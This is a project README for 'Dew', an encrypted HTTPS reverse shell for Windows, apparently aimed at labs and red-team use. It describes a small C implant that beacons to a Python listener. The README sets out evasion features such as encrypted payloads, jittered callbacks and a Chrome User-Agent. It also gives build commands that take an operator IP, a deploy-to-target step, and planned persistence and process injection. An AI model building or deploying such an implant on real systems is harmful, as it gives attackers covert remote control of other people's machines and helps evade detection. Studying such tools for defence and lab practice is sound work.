Encrypted HTTPS reverse shell — XChaCha20-Poly1305 over TLS, ~37 KB
Dew is an encrypted HTTPS reverse shell for Windows. A tiny C implant (~37 KB) polls a Python listener over TLS, with XChaCha20-Poly1305 encrypted command payloads, jittered callbacks, and a pre-shared key for defense-in-depth beyond the transport layer.
Table of Contents
Highlights
Double EncryptedAll traffic is HTTPS via native WinHTTP. Command payloads are additionally encrypted with XChaCha20-Poly1305 (AEAD) using a pre-shared key — two independent encryption layers. |
~37 KB BinaryMinimal Monocypher extraction (~370 lines) provides XChaCha20-Poly1305 without pulling in a full crypto library. Stripped and size-optimized with |
Jittered CallbacksConfigurable sleep interval with centered randomized jitter using |
No DependenciesZero third-party DLLs. WinHTTP and advapi32 are native Windows libraries. Monocypher is vendored and compiled in. Nothing to install on the target. |
Piped OutputCommands execute via |
Clean ShutdownA reserved |
Quick Start
Prerequisites
| Requirement | Version |
|---|---|
| MinGW-w64 (cross-compiler) | Latest |
| Python | >= 3.8 |
| PyNaCl | pip install pynacl |
| Platform (build) | Linux or Windows with MinGW |
Build & Deploy
# Clone
git clone https://github.com/Real-Fruit-Snacks/Dew.git
cd Dew
# Build — generates a random PSK, compiles, prints the listener command
./build.sh 10.10.14.1 443
# Or specify your own key
./build.sh 10.10.14.1 443 <64-char-hex>
# Start the listener (build.sh prints this command with your key)
python listener.py --lport 443 --key <key>
# Deploy dew.exe to targetThe build script generates a random 256-bit PSK if you don't provide one, cross-compiles a ~37 KB PE, and prints the exact listener command with your key. One command.
Architecture
[Target] [Operator]
dew.exe ──── HTTPS/TLS ────> listener.py
<── encrypted cmd ───
── encrypted output ─>
| Layer | Implementation |
|---|---|
| Transport | WinHTTP with native TLS, system proxy support |
| Encryption | XChaCha20-Poly1305 (Monocypher), pre-shared key |
| Wire Format | [nonce(24)][mac(16)][ciphertext], fresh nonce per message |
| Listener | Python HTTPServer with TLS, auto self-signed cert generation |
| Check-in | Encrypted 8-byte beacon ID on each poll |
| Randomization | RtlGenRandom for nonces, jitter, and beacon ID |
Tech Stack
| Component | Technology |
|---|---|
| Implant | C (MinGW), WinHTTP, Monocypher |
| Listener | Python 3, PyNaCl, ssl module |
| Crypto | XChaCha20-Poly1305 (vendored Monocypher extraction) |
| Theme | Catppuccin Mocha |
Configuration
Compile-time (Makefile variables)
| Variable | Default | Description |
|---|---|---|
LHOST |
127.0.0.1 |
Listener IP/domain |
LPORT |
443 |
Listener port |
KEY |
Random 256-bit | Pre-shared key (64 hex chars) |
Implant constants (dew.c)
| Define | Default | Description |
|---|---|---|
SLEEP_BASE |
5 |
Polling interval (seconds) |
JITTER_PCT |
30 |
Jitter percentage (centered) |
USER_AGENT |
Chrome UA | HTTP User-Agent string |
MAX_OUTPUT |
65536 |
Shell output truncation limit |
Listener arguments
| Flag | Default | Description |
|---|---|---|
--lhost |
0.0.0.0 |
Listen address |
--lport |
443 |
Listen port |
--key |
Required | 64-char hex PSK |
--cert |
Auto-generated | Path to TLS certificate |
--cert-key |
Auto-generated | Path to TLS private key |
Network Footprint
| Aspect | Detail |
|---|---|
| Protocol | HTTPS on port 443 (default) |
| Endpoints | POST /poll (beacon check-in), POST /result (command output) |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ... |
| Proxy | System proxy via WinHTTP |
| Jitter | Centered randomized callback interval |
| Payload | All POST bodies are encrypted binary blobs |
Project Structure
dew/
├── dew.c # Implant source (~390 lines)
├── monocypher.c # Vendored XChaCha20-Poly1305 extraction (~370 lines)
├── monocypher.h # Minimal crypto header (4 exported functions)
├── listener.py # Python HTTPS listener with interactive CLI
├── build.sh # One-command build script
├── Makefile # Cross-compilation targets
└── docs/
├── banner.svg # Repository banner
└── index.html # GitHub Pages landing page
Future Work
- Built-in commands (
ps,ls,whoami) via Windows APIs - File upload/download
- SaaS-disguised URI paths
- Process injection / migration
- Persistence mechanisms
- SOCKS proxy pivoting
Built for labs. Designed to be tiny.
Dew — encrypted HTTPS reverse shell